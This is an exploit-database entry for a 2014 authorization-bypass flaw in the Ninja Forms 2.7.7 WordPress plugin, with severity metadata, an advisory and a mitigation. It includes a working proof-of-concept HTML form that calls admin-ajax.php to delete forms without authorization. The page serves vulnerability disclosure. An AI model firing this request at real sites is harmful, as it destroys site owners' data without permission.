header-logo
Suggest Exploit
vendor:
Ninja Forms Plugin
by:
SecurityFocus
7,5
CVSS
HIGH
Authorization-Bypass
287
CWE
Product Name: Ninja Forms Plugin
Affected Version From: 2.7.7
Affected Version To: 2.7.7
Patch Exists: YES
Related CWE: N/A
CPE: a:wpninjas:ninja_forms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: WordPress
2014

Ninja Forms Plugin Authorization-Bypass Vulnerability

The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Mitigation:

Update to the latest version of the Ninja Forms Plugin for WordPress.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/69740/info

The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected. 

<html><body>
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>

Navigation

Suggest Exploit

Services By CQR